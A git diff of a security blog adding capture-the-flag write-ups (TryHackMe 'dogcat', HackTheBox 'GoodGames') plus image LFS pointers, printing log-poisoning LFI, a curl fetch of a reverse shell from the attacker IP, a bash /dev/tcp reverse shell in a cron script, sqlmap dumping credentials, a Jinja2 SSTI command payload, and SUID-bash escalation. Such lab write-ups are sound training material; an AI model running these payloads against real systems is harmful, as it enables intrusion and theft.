dogcat
+ a gallery of various dogs or cats + + + + + +``` +I can also use the same principle to get the content of the `flag.php` flag. + + +```bash +┌──(d3vyce㉿kali)-[~/Documents] +└─$ echo "PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=" | base64 -d + +``` +Pour faire une injection de commande //TODO + + + + +```bash +[11/May/2022:12:26:50 +0000] "GET /?view=php://filter/read=convert.base64-encode/resource=cat/../../../../etc/passwd&ext&test=id HTTP/1.1" 400 0 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data) " +``` + +```bash +http://10.10.91.89/?view=php://filter/resource=cat/../../../../../var/log/apache2/access.log&ext&test=curl%2010.8.3.186:80/reverse.php%20%3E%20reverse.php +``` + + +I now have a reverse shell as `www-data`. + + +```bash +$ cd /var/www +$ ls +flag2_QMW7JvaY2LvK.txt +html +$ cat flag2_QMW7JvaY2LvK.txt +THM{LF1_t0_RC3_aec3fb} +``` +I can get the second flag. + +## Privilege escalation + +I start by checking the sudo permissions of my user : + + + +I have the permission to run the `env` command as `root`. So I look on GTFObin to see if there is a possibility to launch a shell with this command: [env sudo](https://gtfobins.github.io/gtfobins/env/#sudo). + +With the following command I create a `root` shell. + + + + +```bash +cd /root +ls +flag3.txt +cat flag3.txt +THM{D1ff3r3nt_3nv1ronments_874112} +``` +I can get the third flag. After some research I notice a `dockerenv` file. So we are in a docker and I will have to find a way to get out to get the last flag. + + +```bash +ls -la +total 80 +drwxr-xr-x 1 root root 4096 May 11 11:59 . +drwxr-xr-x 1 root root 4096 May 11 11:59 .. +-rwxr-xr-x 1 root root 0 May 11 11:59 .dockerenv +drwxr-xr-x 1 root root 4096 Feb 26 2020 bin +drwxr-xr-x 2 root root 4096 Feb 1 2020 boot +drwxr-xr-x 5 root root 340 May 11 11:59 dev +drwxr-xr-x 1 root root 4096 May 11 11:59 etc +drwxr-xr-x 2 root root 4096 Feb 1 2020 home +drwxr-xr-x 1 root root 4096 Feb 26 2020 lib +drwxr-xr-x 2 root root 4096 Feb 24 2020 lib64 +drwxr-xr-x 2 root root 4096 Feb 24 2020 media +drwxr-xr-x 2 root root 4096 Feb 24 2020 mnt +drwxr-xr-x 1 root root 4096 May 11 11:59 opt +dr-xr-xr-x 112 root root 0 May 11 11:59 proc +drwx------ 1 root root 4096 Mar 10 2020 root +drwxr-xr-x 1 root root 4096 Feb 26 2020 run +drwxr-xr-x 1 root root 4096 Feb 26 2020 sbin +drwxr-xr-x 2 root root 4096 Feb 24 2020 srv +dr-xr-xr-x 13 root root 0 May 11 11:59 sys +drwxrwxrwt 1 root root 4096 Mar 10 2020 tmp +drwxr-xr-x 1 root root 4096 Feb 24 2020 usr +drwxr-xr-x 1 root root 4096 Feb 26 2020 var +ls /otp +ls: cannot access '/otp': No such file or directory +ls /opt +backups +``` +In the `/opt` folder I find a `backups` file with the following content: + + +```bash +#!/bin/bash +tar cf /root/container/backup/backup.tar /root/container +``` +backup.shIt is most certainly a script that runs regularly with a CRON job. Knowing that I can write to the file, I add the following line: + + +```bash +echo "bash -i >& /dev/tcp/10.8.3.186/2345 0>&1" >> backup.sh +``` +After a few seconds, I have a reverse shell as root but on the machine and not in a docker. + + + +I can now recover the last flag. + + +```bash +# cat /root/flag4.txt +THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d} +``` diff --git a/content/writeup-ctf/writeup-goodgames-htb/featured.png b/content/writeup-ctf/writeup-goodgames-htb/featured.png new file mode 100644 index 0000000..c8a79fd --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/featured.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:93ad7743716d5a2111781d1693ed8dba44bcbf87c9dfcd21e3129812996f8898 +size 216815 diff --git a/content/writeup-ctf/writeup-goodgames-htb/featured.webp b/content/writeup-ctf/writeup-goodgames-htb/featured.webp new file mode 100644 index 0000000..ead7b47 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/featured.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9ecf6bb749e53274e4278deab7c934b40b46c02a13b2893c2a6571e89dbfaff3 +size 23672 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-1.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-1.png new file mode 100644 index 0000000..bba9c09 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-1.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cd4f81a0a34cc625e0bcf0dc64d6667f8ea72ff484f54d663741b61cbbb473cc +size 29623 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-1.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-1.webp new file mode 100644 index 0000000..2144e9e --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-1.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f5e3dcdcc7000ed7a77ffd0e429d4a65a161426ddafd8eec502af81b39efcc07 +size 25288 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-10.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-10.png new file mode 100644 index 0000000..11380df --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-10.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:09b46e56b3b2b045c28cac337ef0892e8f741a1c04c817f51c28ac7aa35b8bcd +size 18157 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-10.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-10.webp new file mode 100644 index 0000000..1da70a1 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-10.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3fcace92c84da7c5fd0dcc8f031c18fde7c53c348fcd064fc5cddea2aa5f1d57 +size 24760 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-2.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-2.png new file mode 100644 index 0000000..3cdac76 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-2.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6255c03d2f289deef4101cc0f019786417e15673e3e2e1d4a84c3bfce1910884 +size 2224574 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-2.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-2.webp new file mode 100644 index 0000000..a32b33e --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-2.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:025e2dab54af4d3a4681631daf38e3fdf3e36017103122734ac862cd92af07d7 +size 271744 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-3.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-3.png new file mode 100644 index 0000000..8cd27c1 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-3.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9656e1a97c547a3b65c0ee67429e6d98393123e7dbf41e25a4c184c391b4690b +size 63946 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-3.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-3.webp new file mode 100644 index 0000000..5c98b8c --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-3.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:12cdeddfc582b0cf1d74bf5b6e166940cd040d250b62c181e75c499d2d6cdc72 +size 54056 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-4.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-4.png new file mode 100644 index 0000000..ebc18b6 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-4.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2cd71268f53543bfadfe3ddb6f1f0437a1b04525c56b80ab57ddf5b27462f6dc +size 33138 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-4.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-4.webp new file mode 100644 index 0000000..0783a6c --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-4.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cecedee0998e4323c973e7092970fba07316b43b89aff266d26003577e076e23 +size 29376 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-5.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-5.png new file mode 100644 index 0000000..654df92 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-5.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4064ccba607fe2db158e2868fc68b7468b529fdce9f260166e0a6f46d5491370 +size 24836 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-5.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-5.webp new file mode 100644 index 0000000..b83bc70 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-5.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8182b28337e3741d694527431b83910f7695decd6252611985d91b8e0b8ff478 +size 13588 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-6.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-6.png new file mode 100644 index 0000000..dfd7610 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-6.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9fbbcf3b2fc788befc7f070348bfaf82a4d5e4b51c30f1c670271ac3e73b7376 +size 16933 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-6.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-6.webp new file mode 100644 index 0000000..dc6b234 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-6.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cff9acbf41bb0206ec3f7dd7df781c1763954c095edecb4888dd61f5be07179a +size 19514 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-7.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-7.png new file mode 100644 index 0000000..d90cd8f --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-7.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7f41812dce889551aea7341503008caf65d9c610690589269ceb36f3f914d1ce +size 32664 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-7.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-7.webp new file mode 100644 index 0000000..a0418c2 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-7.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b552c7fac725cd3d2215c67dd9dc9c0fb1bf72f5572af8cda5e505fa4c2525f0 +size 37834 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-8.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-8.png new file mode 100644 index 0000000..5bcfc4b --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-8.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:85916d7ddd63aff638dc5dbf3780b054f17a5c6a52599d669cedee7042460633 +size 22005 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-8.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-8.webp new file mode 100644 index 0000000..d197d91 --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-8.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2b927c7cf2dcd507daebd617d71cdeb76f63e94c38e2164ee4a15d530dc92eb8 +size 23990 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-9.png b/content/writeup-ctf/writeup-goodgames-htb/img/image-9.png new file mode 100644 index 0000000..3213f2a --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-9.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:29fbbf1958102f1fec24c7ff566e85cc2bedfa241a6bb76e241f418e073a4726 +size 35870 diff --git a/content/writeup-ctf/writeup-goodgames-htb/img/image-9.webp b/content/writeup-ctf/writeup-goodgames-htb/img/image-9.webp new file mode 100644 index 0000000..82d581f --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/img/image-9.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f471555ad7b983bf8947bd1704b85f1203fb096f0ffe1e4ea366ab311347ffcc +size 42860 diff --git a/content/writeup-ctf/writeup-goodgames-htb/index.md b/content/writeup-ctf/writeup-goodgames-htb/index.md new file mode 100644 index 0000000..6d713bd --- /dev/null +++ b/content/writeup-ctf/writeup-goodgames-htb/index.md @@ -0,0 +1,208 @@ +--- +title: "Writeup - GoodGames (HTB)" +date: 2022-03-19 +slug: "writeup-goodgames-htb" +type: "writeup-ctf" +--- + +This is a writeup for the [GoodGames](https://app.hackthebox.com/machines/GoodGames) machine from the HackTheBox site. + +## Enumeration + +First, let's start with a scan of our target with the following command: + + +```bash +nmap -sV 10.10.11.130 +``` +One TCP ports are discovered: + + + +- 80/tcp : HTTP web server (Apache 2.4.51) + + + +## Exploit + +I start by listing the pages accessible through the website. + + + +There are a number of pages, but 3 are pages with a form: login, forgot-password and signup. With a form we can potentially make SQL injection. + +First I get a login request via Burp. + + +```bash +POST /login HTTP/1.1 +Host: 10.10.11.130 +Content-Length: 36 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://10.10.11.130 +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: http://10.10.11.130/ +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Connection: close + +email=test%40test.fr&password=azerty +``` +I save this request in a "request.txt" file, then I run SQLmap to determine if this form is injection sensitive. + + +```bash +sqlmap -r request.txt +``` +This form is usable, so I use the following command to list the accessible databases: + + +```bash +sqlmap -r request.txt --dbs +[...] +[12:51:20] [INFO] retrieved: main +available databases [2]: +[*] information_schema +[*] main +[...] +``` +I select the database "main" and start to list the different tables. + + +```bash +sqlmap -r request.txt -D main --dump +[...] +[12:53:58] [INFO] retrieved: blog +[12:54:30] [INFO] retrieved: blog_comments +[12:55:51] [INFO] retrieved: user +[12:56:20] [INFO] fetching columns for table 'blog' in database 'main' +[12:56:20] [INFO] retrieved: 15 +[...] +``` +I select the "user" table and run the following command to dump the data. + + +```bash +sqlmap -r request.txt -D main -T user --dump +[...] +admin@goodgames.htb +[13:00:19] [INFO] retrieved: 1 +[13:00:23] [INFO] retrieved: admin +[13:00:42] [INFO] retrieved: 2b22337f218b2d82dfc3b6f77e7cb8ec +[...] +``` +Ok, we have the credentials of the admin user! We just need to get the password hash and run john to decrypt it. + + + +John quickly finds the password: superadministrator. + +I can now connect and access the admin panel. This panel is accessible via a subdomain, so I add it in my /etc/hosts file: + + +```bash +10.10.11.130 internal-administration.goodgames.htb +``` +I fill in the credentials I found before and connect to the admin panel of the site. + + + +In this panel I find a tab where I can customize the account nickname. Let's determine the PHP template used by the site. For that I use the following github: + +[PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF - PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings + +{{< github repo="swisskyrepo/PayloadsAllTheThings" >}} + + + +Quickly I determine that the site uses the Jinja2 Template. I will be able to use an injection to execute commands on the server. For that I use the following injection: + +```bash +{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} + +``` +To make a shell reversel it's a bit more complex, I didn't manage to put just the command, so I use the base64 method to avoid that the command is modified during the process. + +To do this I encode my reverse in base64 then I use the following injection to transmit it on the remote server: + + +```bash +{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzEyMzQgMD4mMQo=" | base64 -d | bash').read() }} +``` + + +I now have a root shell (I think we are in a docker) and I can get the first flag. + + +```bash +root@3a453ab39d3d:/home/augustus# ls +user.txt +root@3a453ab39d3d:/home/augustus# cat user.txt +dec6a8b304bbe0fdfe4b8c46a3562605 +``` +## Privilege escalation + +As said before, I think we are in a docker. What I can confirm after some research. + +After checking my IP, we can safely say that the IP of the host is 172.19.0.1. + + + +So I do an nmap scan on the host IP: + + + +The SSH port is open! We can now try to connect to the user augustus to exit the docker. + +I first upgrade my reverse shell with the following command (this is very important for the following). + + +```bash +python -c 'import pty; pty.spawn("/bin/bash")' +``` +I am doing an SSH on the user augustus using the password previously used: + + + +I am now in the host machine, interesting thing I notice the nmap file I uploaded in the docker is present in the folder of augustus. But what is even more interesting is that he has kept his root privilege! + + + +What I will be able to do is to make a copy of bash. Then in the docker add the execution rights. Then go back to the host and create a bash root. + +To do this, I first copy the bash file from the host machine into the augustus folder: + + +```bash +cp /bin/bash ./ + +``` +Then I go back to the docker and add the following rights: + + +```bash +chown root:root bash +chmod 4777 bash +``` +Finally I go back to the host and run a bash root: + + +```bash +augustus@GoodGames:~$ ./bash -p +bash-5.1# cat /root/root.txt +cat /root/root.txt +702332b6faa16ef1b87c5ae52a2ef3df +``` +I now have control of the host machine and can recover the last flag. + +## Recommendations + +To patch this host I think it would be necessary to perform a number of actions: + +- Patch forms to avoid sql injection +- Use strong passwords +- Do not use the same password for two different services +- Do not launch dockers with root privilege diff --git a/content/writeup-ctf/writeup-harder-thm/featured.png b/content/writeup-ctf/writeup-harder-thm/featured.png new file mode 100644 index 0000000..8c3dff1 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/featured.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:36799da84aac35347acc68525496bdde70bbf1b673b15bf94ae7ec9bd4dff506 +size 134338 diff --git a/content/writeup-ctf/writeup-harder-thm/featured.webp b/content/writeup-ctf/writeup-harder-thm/featured.webp new file mode 100644 index 0000000..6a07af1 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/featured.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d453958c4f40d7a89378b82a96d65a936cd207bb5392b0edc62256fbacfd380e +size 92044 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-1.png b/content/writeup-ctf/writeup-harder-thm/img/image-1.png new file mode 100644 index 0000000..3f948cb --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-1.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3e7e75b56dbd2b93b3fb0ae599c90e1deb7210aa50b23b30d3a1866b9b3b429b +size 30603 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-1.webp b/content/writeup-ctf/writeup-harder-thm/img/image-1.webp new file mode 100644 index 0000000..c4f2601 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-1.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4acea638b8f6e6fd3131aee06fbcb51e7e8563f62281d06023b1509781d3d668 +size 31030 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-10.png b/content/writeup-ctf/writeup-harder-thm/img/image-10.png new file mode 100644 index 0000000..8e63d7e --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-10.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:be5386329073711ad7b2faa580df8ac003c7d0b76a22190f3a45a279eb6f0cb9 +size 17465 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-10.webp b/content/writeup-ctf/writeup-harder-thm/img/image-10.webp new file mode 100644 index 0000000..065fca1 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-10.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:45bff4e0792c81297c9eeae4990cf878f5dc9229e596ba973cb875810ee37e13 +size 11920 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-11.png b/content/writeup-ctf/writeup-harder-thm/img/image-11.png new file mode 100644 index 0000000..f75b10e --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-11.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:38d34bae6f2a0803f157b6331a75758cff19b08466c6d7e37c5426a405daaedd +size 39346 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-11.webp b/content/writeup-ctf/writeup-harder-thm/img/image-11.webp new file mode 100644 index 0000000..f0e441c --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-11.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bfde33882806e67a9ac1e25a920cac949f711f9e9bd30bc28b31b33c57fd8b61 +size 50372 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-12.png b/content/writeup-ctf/writeup-harder-thm/img/image-12.png new file mode 100644 index 0000000..6418e8b --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-12.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:91514aaafd66af19cb0ea3de03ebfe70d9bb259577218c1d97fef0fba73e186a +size 17218 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-12.webp b/content/writeup-ctf/writeup-harder-thm/img/image-12.webp new file mode 100644 index 0000000..3271745 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-12.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f694614e0e0732d7e8de15913d2574ee6c12ab5de3d7c32dc472e53d5b983911 +size 14392 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-13.png b/content/writeup-ctf/writeup-harder-thm/img/image-13.png new file mode 100644 index 0000000..436675e --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-13.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c33168d6a3d5b1ed005f67ac3e554ca49267065ede7cc56d7bd36b0ed1c87208 +size 8041 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-13.webp b/content/writeup-ctf/writeup-harder-thm/img/image-13.webp new file mode 100644 index 0000000..61f7924 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-13.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:44f59332884ecd7501e53b16b9528c92913d648a43afae4a6b2bcf5942839a7f +size 11458 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-14.png b/content/writeup-ctf/writeup-harder-thm/img/image-14.png new file mode 100644 index 0000000..059f092 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-14.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c919cc659de7e89ebcd823cfd8a80bf7f53bf372541ebc5b90fd1147c0deab12 +size 30451 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-14.webp b/content/writeup-ctf/writeup-harder-thm/img/image-14.webp new file mode 100644 index 0000000..652c2af --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-14.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:30161c2fc29cc68da2907e7647595b8434a8f83751321e6d91156cedbc8b6d8d +size 42040 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-15.png b/content/writeup-ctf/writeup-harder-thm/img/image-15.png new file mode 100644 index 0000000..acaa4b0 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-15.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4bdfbbf428d94100ea98115ecd9dd5d7ab6ddc34a6cf27f0c229ad80a180e215 +size 23158 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-15.webp b/content/writeup-ctf/writeup-harder-thm/img/image-15.webp new file mode 100644 index 0000000..9cfd25a --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-15.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:adb655583fc89e6ffa1c47bb7ebeb2cd5c4d7c1dfc4cd6d4ff36815e396211fd +size 26578 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-2.png b/content/writeup-ctf/writeup-harder-thm/img/image-2.png new file mode 100644 index 0000000..2c29c69 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-2.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c02b672370f91e5afa52ef1472cbaa2d24238ce82ef22e55b86a042c0f31995c +size 46777 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-2.webp b/content/writeup-ctf/writeup-harder-thm/img/image-2.webp new file mode 100644 index 0000000..f8c4e56 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-2.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:97ff4d7575d2e52eacd2fd9d7c4f9a8c501e64c3eedb9fb67b6ce62a9234fd48 +size 38670 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-3.png b/content/writeup-ctf/writeup-harder-thm/img/image-3.png new file mode 100644 index 0000000..b993869 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-3.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:18f28e19270b9101446204d709dd0fc2c2f7bcd81f0136736c659a39a21074a1 +size 29950 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-3.webp b/content/writeup-ctf/writeup-harder-thm/img/image-3.webp new file mode 100644 index 0000000..7d9f112 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-3.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:406833020f4c78d77486ec63445a610f0c5ebdaabee48e19feede1282000fde4 +size 24106 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-4.png b/content/writeup-ctf/writeup-harder-thm/img/image-4.png new file mode 100644 index 0000000..724e66f --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-4.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fc4d9d618d595b092eed52242324419bcaecc830896dbaa91b7ea8d19aeb427c +size 11902 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-4.webp b/content/writeup-ctf/writeup-harder-thm/img/image-4.webp new file mode 100644 index 0000000..c907798 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-4.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ce2efee69e85991ea98204a167b18f6767432c48565def71355fa4ef50898c50 +size 8624 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-5.png b/content/writeup-ctf/writeup-harder-thm/img/image-5.png new file mode 100644 index 0000000..3d8dfd2 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-5.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5e8b32d8fc6de468b7ff7f79666825ee1a045fb64516469d374067617fdeac98 +size 63345 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-5.webp b/content/writeup-ctf/writeup-harder-thm/img/image-5.webp new file mode 100644 index 0000000..d26986e --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-5.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:98d0b9a8fd3cf606a22c0de684c6495979d93f1d609f820885c01612ff83ae98 +size 54260 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-6.png b/content/writeup-ctf/writeup-harder-thm/img/image-6.png new file mode 100644 index 0000000..7fb5c50 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-6.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:881375e2851d324138c238f7a2d1598f7f27d71b34d3cd37fe7298b0c55e958b +size 69865 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-6.webp b/content/writeup-ctf/writeup-harder-thm/img/image-6.webp new file mode 100644 index 0000000..2c6b939 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-6.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b2e45e023ee91580ba967747c4db3eea0cf6b716ff9eeada9c0e1910754dc5b1 +size 91100 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-7.png b/content/writeup-ctf/writeup-harder-thm/img/image-7.png new file mode 100644 index 0000000..1df206e --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-7.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:44330820f9af9c6903db377aae06cf9c698f634331dd7111dcea7a38f2f44f45 +size 33630 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-7.webp b/content/writeup-ctf/writeup-harder-thm/img/image-7.webp new file mode 100644 index 0000000..6269e56 --- /dev/null 